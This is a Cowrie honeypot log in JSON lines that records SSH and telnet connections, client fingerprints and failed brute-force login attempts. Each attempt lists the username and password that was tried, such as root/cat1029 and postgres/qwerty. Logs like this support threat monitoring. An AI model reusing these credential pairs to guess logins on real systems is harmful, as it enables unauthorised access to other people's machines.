{"eventid":"cowrie.login.failed","username":"root","password":"cat1029","message":"login attempt [root/cat1029] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:49:08.559155Z","src_ip":"73.222.233.25","session":"f73589383db5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:49:08.966812Z","src_ip":"73.222.233.25","session":"f73589383db5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:49:09.363679Z","src_ip":"73.222.233.25","session":"f73589383db5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"9.7","message":"Connection lost after 9.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:49:13.408587Z","src_ip":"205.210.31.103","session":"4ac329704dc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":47122,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9715b9b844a","protocol":"telnet","message":"New connection: 137.184.5.188:47122 (159.203.135.109:23) [session: e9715b9b844a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:49:20.693147Z"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":45610,"dst_ip":"10.17.0.5","dst_port":22,"session":"f46ba69a1e50","protocol":"ssh","message":"New connection: 61.72.55.130:45610 (10.17.0.5:22) [session: f46ba69a1e50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:49:35.566338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:49:35.570242Z","src_ip":"61.72.55.130","session":"f46ba69a1e50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:49:35.770842Z","src_ip":"61.72.55.130","session":"f46ba69a1e50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1@","message":"login attempt [root/1@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:49:36.608364Z","src_ip":"61.72.55.130","session":"f46ba69a1e50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:49:37.811379Z","src_ip":"61.72.55.130","session":"f46ba69a1e50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.252875328063965,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:49:40.447088Z","src_ip":"73.222.233.25","session":"f73589383db5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"73.222.233.25","src_port":33455,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa5404d931c9","protocol":"telnet","message":"New connection: 73.222.233.25:33455 (159.203.135.109:23) [session: fa5404d931c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:49:41.228434Z"}
{"eventid":"cowrie.login.failed","username":"\"??$","password":"abcd","message":"login attempt [\"??$/abcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:49:41.587698Z","src_ip":"73.222.233.25","session":"fa5404d931c9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:49:41.996690Z","src_ip":"73.222.233.25","session":"fa5404d931c9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:49:42.410309Z","src_ip":"73.222.233.25","session":"fa5404d931c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.36.79","src_port":59854,"dst_ip":"159.203.135.109","dst_port":22,"session":"14088ff68874","protocol":"ssh","message":"New connection: 103.82.36.79:59854 (159.203.135.109:22) [session: 14088ff68874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:49:47.913547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:49:47.921488Z","src_ip":"103.82.36.79","session":"14088ff68874","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:49:48.178066Z","src_ip":"103.82.36.79","session":"14088ff68874","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:49:49.013105Z","src_ip":"103.82.36.79","session":"14088ff68874","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.218.183","src_port":45442,"dst_ip":"10.17.0.5","dst_port":22,"session":"37732dc1131d","protocol":"ssh","message":"New connection: 162.240.218.183:45442 (10.17.0.5:22) [session: 37732dc1131d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:49:50.283270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:49:50.286651Z","src_ip":"162.240.218.183","session":"37732dc1131d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:49:50.368711Z","src_ip":"162.240.218.183","session":"37732dc1131d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:49:50.521427Z","src_ip":"103.82.36.79","session":"14088ff68874","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"letmein&*()!@#$%","message":"login attempt [root/letmein&*()!@#$%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:49:50.615718Z","src_ip":"162.240.218.183","session":"37732dc1131d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:49:52.842263Z","src_ip":"162.240.218.183","session":"37732dc1131d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.283193826675415,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:50:00.976252Z","src_ip":"137.184.5.188","session":"e9715b9b844a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.105.153","src_port":17596,"dst_ip":"159.203.135.109","dst_port":22,"session":"2afdaadb5b9a","protocol":"ssh","message":"New connection: 107.150.105.153:17596 (159.203.135.109:22) [session: 2afdaadb5b9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:50:09.685542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:50:09.692117Z","src_ip":"107.150.105.153","session":"2afdaadb5b9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:50:09.770239Z","src_ip":"107.150.105.153","session":"2afdaadb5b9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123321","message":"login attempt [user/user123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:50:10.097491Z","src_ip":"107.150.105.153","session":"2afdaadb5b9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:50:11.178687Z","src_ip":"107.150.105.153","session":"2afdaadb5b9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.879724264144897,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:50:13.108041Z","src_ip":"73.222.233.25","session":"fa5404d931c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":37912,"dst_ip":"10.17.0.5","dst_port":22,"session":"c70e30565711","protocol":"ssh","message":"New connection: 91.92.40.176:37912 (10.17.0.5:22) [session: c70e30565711]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:50:16.742117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:50:16.747129Z","src_ip":"91.92.40.176","session":"c70e30565711","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:50:16.827917Z","src_ip":"91.92.40.176","session":"c70e30565711","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"qwerty","message":"login attempt [postgres/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:50:17.073656Z","src_ip":"91.92.40.176","session":"c70e30565711","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:50:18.161190Z","src_ip":"91.92.40.176","session":"c70e30565711","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.20.137","src_port":52870,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6aa4ac7a2cf","protocol":"ssh","message":"New connection: 162.240.20.137:52870 (10.17.0.5:22) [session: d6aa4ac7a2cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:50:58.366646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:50:58.370497Z","src_ip":"162.240.20.137","session":"d6aa4ac7a2cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:50:58.460823Z","src_ip":"162.240.20.137","session":"d6aa4ac7a2cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ch@!n$S3cur3#P@ss","message":"login attempt [root/Ch@!n$S3cur3#P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:50:58.727703Z","src_ip":"162.240.20.137","session":"d6aa4ac7a2cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:50:59.819001Z","src_ip":"162.240.20.137","session":"d6aa4ac7a2cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.49.202","src_port":54840,"dst_ip":"10.17.0.5","dst_port":22,"session":"307f962ab103","protocol":"ssh","message":"New connection: 43.134.49.202:54840 (10.17.0.5:22) [session: 307f962ab103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:51:14.324492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:51:14.328755Z","src_ip":"43.134.49.202","session":"307f962ab103","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:51:14.573578Z","src_ip":"43.134.49.202","session":"307f962ab103","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"b","password":"123456","message":"login attempt [b/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:51:15.586071Z","src_ip":"43.134.49.202","session":"307f962ab103","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:51:16.834100Z","src_ip":"43.134.49.202","session":"307f962ab103","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":37232,"dst_ip":"159.203.135.109","dst_port":23,"session":"e48ec69c0c2a","protocol":"telnet","message":"New connection: 107.6.151.170:37232 (159.203.135.109:23) [session: e48ec69c0c2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:51:24.855420Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":41304,"dst_ip":"10.17.0.5","dst_port":22,"session":"031e438bb935","protocol":"ssh","message":"New connection: 103.77.175.15:41304 (10.17.0.5:22) [session: 031e438bb935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:51:26.150153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:51:26.153988Z","src_ip":"103.77.175.15","session":"031e438bb935","protocol":"ssh"}
